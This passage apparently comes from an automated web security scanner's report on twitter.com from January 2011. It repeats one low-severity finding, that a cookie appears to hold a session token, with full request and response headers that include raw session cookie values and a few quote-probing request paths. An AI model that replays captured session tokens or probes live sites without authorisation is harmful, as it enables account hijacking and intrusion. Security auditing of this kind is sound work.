GET /7News/status/29619600551317504 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:05:53 GMT Server: hi Status: 200 OK X-Transaction: 1295910353-67452-11698 ETag: "df882b3b65e14ceab1da2b4db264ec52" Last-Modified: Mon, 24 Jan 2011 23:05:53 GMT X-Runtime: 0.05261 Content-Type: text/html; charset=utf-8 Content-Length: 13694 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910352494991; path=/; expires=Mon, 31-Jan-11 23:05:52 GMT; domain=.twitter.com Set-Cookie: guest_id=129591035323884356; path=/; expires=Wed, 23 Feb 2011 23:05:53 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlMWUxNmY3YWFiZTFkMjk3MjM1NjU1ZjBkMzliNzg5%250AMTM6DnJldHVybl90byI2aHR0cDovL3R3aXR0ZXIuY29tLzdOZXdzL3N0YXR1%250Acy8yOTYxOTYwMDU1MTMxNzUwNDoHaWQiJTgzNTE4ZDU1NGI3NjIwMzE0Y2Ex%250AMWIzZGQ1MThmZjFlIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFz%250AaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIWLlGui0B--925e1e31fa9a3e0528e8a01d8e0ecb1f6fcb625d; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591034994189809; path=/; expires=Wed, 23 Feb 2011 23:05:49 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /7news HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:05:49 GMT Server: hi Status: 200 OK X-Transaction: 1295910349-40880-22216 ETag: "edad7aa55a25b6aec0246521dae3ab7a" Last-Modified: Mon, 24 Jan 2011 23:05:49 GMT X-Runtime: 0.01998 Content-Type: text/html; charset=utf-8 Content-Length: 53571 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910349075016; path=/; expires=Mon, 31-Jan-11 23:05:49 GMT; domain=.twitter.com Set-Cookie: guest_id=129591034994189809; path=/; expires=Wed, 23 Feb 2011 23:05:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTAyYzE2NTMwZmE0YWY2ZTAyMTAxMDJmMGU0YTQzZmQ2Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsId6xGui0B--4e6b29308b59767c1b05d40af6b5c28ee7725ec0; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129588496047341904; path=/; expires=Wed, 23 Feb 2011 16:02:40 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Ihtirametna/status/12955399590252544/x22 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:02:40 GMT Server: hi Status: 404 Not Found X-Transaction: 1295884960-45495-1332 Last-Modified: Mon, 24 Jan 2011 16:02:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295884960208230; path=/; expires=Mon, 31-Jan-11 16:02:40 GMT; domain=.twitter.com Set-Cookie: guest_id=129588496047341904; path=/; expires=Wed, 23 Feb 2011 16:02:40 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCNtCw7gtAToHaWQiJTYwY2Q0YjYwYWE3MjQy%250AZDQ4ODkyNDY0NWUxM2UzMjI0IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--a3eb60c69659a4af34e599aed5ff2f06b71faec8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
guest_id=129591062196529909; path=/; expires=Wed, 23 Feb 2011 23:10:21 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /LizPW/ HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:10:21 GMT Server: hi Status: 200 OK X-Transaction: 1295910621-77895-31155 ETag: "c259f1b8d242bd50582934993f0c6970" Last-Modified: Mon, 24 Jan 2011 23:10:21 GMT X-Runtime: 0.01511 Content-Type: text/html; charset=utf-8 Content-Length: 51420 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910621396653; path=/; expires=Mon, 31-Jan-11 23:10:21 GMT; domain=.twitter.com Set-Cookie: guest_id=129591062196529909; path=/; expires=Wed, 23 Feb 2011 23:10:21 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWRlMWQ2NzdlN2Y2ZTU0NGM4ZWEyNTMyMWY1ZTk3YzU0Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsID9NKui0B--e7abc610de60e62983759c4d12e8f2cf3eede5ed; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591060947951191; path=/; expires=Wed, 23 Feb 2011 23:10:09 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /LizPW/status/29620929206165504 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:10:09 GMT Server: hi Status: 200 OK X-Transaction: 1295910609-55052-61887 ETag: "f0d14c8ffca948984521cadb8828dc45" Last-Modified: Mon, 24 Jan 2011 23:10:09 GMT X-Runtime: 0.10628 Content-Type: text/html; charset=utf-8 Content-Length: 13847 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910608056839; path=/; expires=Mon, 31-Jan-11 23:10:08 GMT; domain=.twitter.com Set-Cookie: guest_id=129591060947951191; path=/; expires=Wed, 23 Feb 2011 23:10:09 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlZjIzZWFjODQ4ZTMwNGMwZmI1ZjZiYzg5NTZmMmY3%250AOTQ6DnJldHVybl90byI2aHR0cDovL3R3aXR0ZXIuY29tL0xpelBXL3N0YXR1%250Acy8yOTYyMDkyOTIwNjE2NTUwNDoHaWQiJTIzYjk5NTM3NmZiMjNlNTBiYWYw%250AZmUyZTUyM2MyNjFiIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFz%250AaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsISqJKui0B--b7721b8e7b4f79835b43a20e0bb17f7502fe2043; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129588495963544389; path=/; expires=Wed, 23 Feb 2011 16:02:39 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /amazon/x22 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:02:39 GMT Server: hi Status: 404 Not Found X-Transaction: 1295884959-8967-51873 Last-Modified: Mon, 24 Jan 2011 16:02:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295884959190770; path=/; expires=Mon, 31-Jan-11 16:02:39 GMT; domain=.twitter.com Set-Cookie: guest_id=129588495963544389; path=/; expires=Wed, 23 Feb 2011 16:02:39 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCJY%252Fw7gtAToHaWQiJWQxZTA1OTI4NWVjMGQw%250ANGM1YzFiYTU4NzYwYjJjZTVhIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--51fd18caf68e4e25e41e8fafad032025c5b7a2ed; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
guest_id=129591040641745365; path=/; expires=Wed, 23 Feb 2011 23:06:46 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cw56 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:06:46 GMT Server: hi Status: 200 OK X-Transaction: 1295910406-20060-45194 ETag: "ff97e4d20929a3ffbfd77d3c60c548db" Last-Modified: Mon, 24 Jan 2011 23:06:46 GMT X-Runtime: 0.00997 Content-Type: text/html; charset=utf-8 Content-Length: 55430 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910405466703; path=/; expires=Mon, 31-Jan-11 23:06:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129591040641745365; path=/; expires=Wed, 23 Feb 2011 23:06:46 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWQwY2JkYzRhMmU2ZTBjZWZhNmNiYWE3MTYzNTNkNDVkIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIE4lHui0B--3cac94f8557ed984265e75e9f4c719f681987c10; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596411037165831; path=/; expires=Thu, 24 Feb 2011 14:01:50 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /datasift HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:50 GMT Server: hi Status: 200 OK X-Transaction: 1295964110-52502-21616 ETag: "98dfab6f65418ae81b99a43c3a15ba6b" Last-Modified: Tue, 25 Jan 2011 14:01:50 GMT X-Runtime: 0.41713 Content-Type: text/html; charset=utf-8 Content-Length: 46413 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964108154865; path=/; expires=Tue, 01-Feb-11 14:01:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129596411037165831; path=/; expires=Thu, 24 Feb 2011 14:01:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlNWEwYzM3OTNmYjE1ZjAwZDgyZTA4NTA1Y2ZiMGJh%250AZDU6DnJldHVybl90byIgaHR0cDovL3R3aXR0ZXIuY29tL2RhdGFzaWZ0Ogdp%250AZCIlNTM1ZTA1NTY3NDFkOGQ5Zjk2ZGQ2NjkwMWQ2NTA1NTciCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2Vk%250AewA6D2NyZWF0ZWRfYXRsKwgl%252Fnq9LQE%253D--53648523a8885e6e9f30528d0faecbf003a6ff95; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596407726759378; path=/; expires=Thu, 24 Feb 2011 14:01:17 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /friendships/show.json HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
guest_id=129596410159981042; path=/; expires=Thu, 24 Feb 2011 14:01:41 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /goodies/tweetbutton HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:41 GMT Server: hi Status: 200 OK X-Transaction: 1295964101-18603-26081 ETag: "a82d62223df18c75e7f04c910709daa8" Last-Modified: Tue, 25 Jan 2011 14:01:41 GMT X-Runtime: 0.06782 Content-Type: text/html; charset=utf-8 Content-Length: 16931 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964099762702; path=/; expires=Tue, 01-Feb-11 14:01:39 GMT; domain=.twitter.com Set-Cookie: guest_id=129596410159981042; path=/; expires=Thu, 24 Feb 2011 14:01:41 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToMY3NyZl9pZCIlZTQ5NjQzODBhYWVkYzk2ZTk5YjBhZjc3Y2QzY2My%250AYjM6B2lkIiU1ZDJiYjViZjBmZjlhM2RiYmM3MDI4ODNjZDI3ZDY5YSIKZmxh%250Ac2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoK%250AQHVzZWR7ADoPY3JlYXRlZF9hdGwrCOHber0tAQ%253D%253D--6ec643070f608b03d4f820e3f2adac7676f7a3ca; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129588495844059611; path=/; expires=Wed, 23 Feb 2011 16:02:38 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 16:02:38 GMT Server: hi Status: 200 OK X-Transaction: 1295884958-68881-31789 ETag: "ae3f2c47aa619b0820a141db6a6acfae" Last-Modified: Mon, 24 Jan 2011 16:02:38 GMT X-Runtime: 0.01322 Content-Type: text/html; charset=utf-8 Content-Length: 53726 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295884958395114; path=/; expires=Mon, 31-Jan-11 16:02:38 GMT; domain=.twitter.com Set-Cookie: guest_id=129588495844059611; path=/; expires=Wed, 23 Feb 2011 16:02:38 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCOo6w7gtAToHaWQiJTFmN2YyYzU0MmRhYmY4%250AZWYyNDc4ZWFmY2M4MmYwNjIwIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--724d5a6fe81e3fe03c41751c53520bd5bc139e61; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596412736246980; path=/; expires=Thu, 24 Feb 2011 14:02:07 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /kontentdesign HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:07 GMT Server: hi Status: 200 OK X-Transaction: 1295964127-50745-17441 ETag: "63815a5d05a1b95386102d34a0650082" Last-Modified: Tue, 25 Jan 2011 14:02:07 GMT X-Runtime: 0.01446 Content-Type: text/html; charset=utf-8 Content-Length: 52448 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964125413234; path=/; expires=Tue, 01-Feb-11 14:02:05 GMT; domain=.twitter.com Set-Cookie: guest_id=129596412736246980; path=/; expires=Thu, 24 Feb 2011 14:02:07 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTcyODA1NmExZmQ1MDE5ZTUzYjYyYjQ0NjQzMDVjYjkxIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIhEB7vS0B--951e0307ecaa4357ec02a6a302e57cf685286962; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591041889118308; path=/; expires=Wed, 23 Feb 2011 23:06:58 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /nbc/primetime HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:06:59 GMT Server: hi Status: 200 OK X-Transaction: 1295910418-13129-32425 ETag: "a5a44db8a71fab6b9f2580b61e51bac4" Last-Modified: Mon, 24 Jan 2011 23:06:58 GMT X-Runtime: 0.49830 Content-Type: text/html; charset=utf-8 Content-Length: 57012 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910418725856; path=/; expires=Mon, 31-Jan-11 23:06:58 GMT; domain=.twitter.com Set-Cookie: guest_id=129591041889118308; path=/; expires=Wed, 23 Feb 2011 23:06:58 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlYWNhY2QyMDk5NWYxMWM2MjRjNGQ0NDdhYTA1ZTQ3%250AYzA6DnJldHVybl90byIlaHR0cDovL3R3aXR0ZXIuY29tL25iYy9wcmltZXRp%250AbWU6B2lkIiU0NDZjYzZhOTY2NmJmZTZlZjQ3OGQ5ZGIyYmQxYzRiMCIKZmxh%250Ac2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoK%250AQHVzZWR7ADoPY3JlYXRlZF9hdGwrCM25R7otAQ%253D%253D--d1e94695604015df0d84f87d3e421b29e16e392e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596412316680845; path=/; expires=Thu, 24 Feb 2011 14:02:03 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:03 GMT Server: hi Status: 200 OK X-Transaction: 1295964123-67769-3429 ETag: "8ed7c55c146db619fdf925948244e6a4" Last-Modified: Tue, 25 Jan 2011 14:02:03 GMT X-Runtime: 0.57870 Content-Type: text/html; charset=utf-8 Content-Length: 48756 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964121273602; path=/; expires=Tue, 01-Feb-11 14:02:01 GMT; domain=.twitter.com Set-Cookie: guest_id=129596412316680845; path=/; expires=Thu, 24 Feb 2011 14:02:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlNGZlYmY1Yjc5NTA0ZjkwYmIwMWI5OGEyZDMyZTM1%250AYjk6DnJldHVybl90byIgaHR0cDovL3R3aXR0ZXIuY29tL25ldGxpbmdvOgdp%250AZCIlNDAzOGVkNGRhYjIyMmJkOGY3ZGY1YjQzNjEzOWM1MDciCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2Vk%250AewA6D2NyZWF0ZWRfYXRsKwgfMHu9LQE%253D--a495d11ca78d3b4eafce746e4006ed9d057939a8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129596411225932495; path=/; expires=Thu, 24 Feb 2011 14:01:52 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /nickhalstead/status/15837113167 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:52 GMT Server: hi Status: 200 OK X-Transaction: 1295964112-46984-37079 ETag: "2a3e1a1864a58dc8b2d4201a204ff2c5" Last-Modified: Tue, 25 Jan 2011 14:01:52 GMT X-Runtime: 0.05636 Content-Type: text/html; charset=utf-8 Content-Length: 13650 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964110102891; path=/; expires=Tue, 01-Feb-11 14:01:50 GMT; domain=.twitter.com Set-Cookie: guest_id=129596411225932495; path=/; expires=Thu, 24 Feb 2011 14:01:52 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlMTk2NDYwNmQ5MTBjYjNlYWEzY2UzYzZiOGE3MDQ5%250ANmI6DnJldHVybl90byI3aHR0cDovL3R3aXR0ZXIuY29tL25pY2toYWxzdGVh%250AZC9zdGF0dXMvMTU4MzcxMTMxNjc6B2lkIiViZDVjNTFmMjJhOThkNmZmODRl%250AMDVlOTAyNGUyNzJhNyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxh%250Ac2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCIUFe70t%250AAQ%253D%253D--67c44ee9e15f6c0fbae20d582963e29eb03333df; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591047119299301; path=/; expires=Wed, 23 Feb 2011 23:07:51 GMT
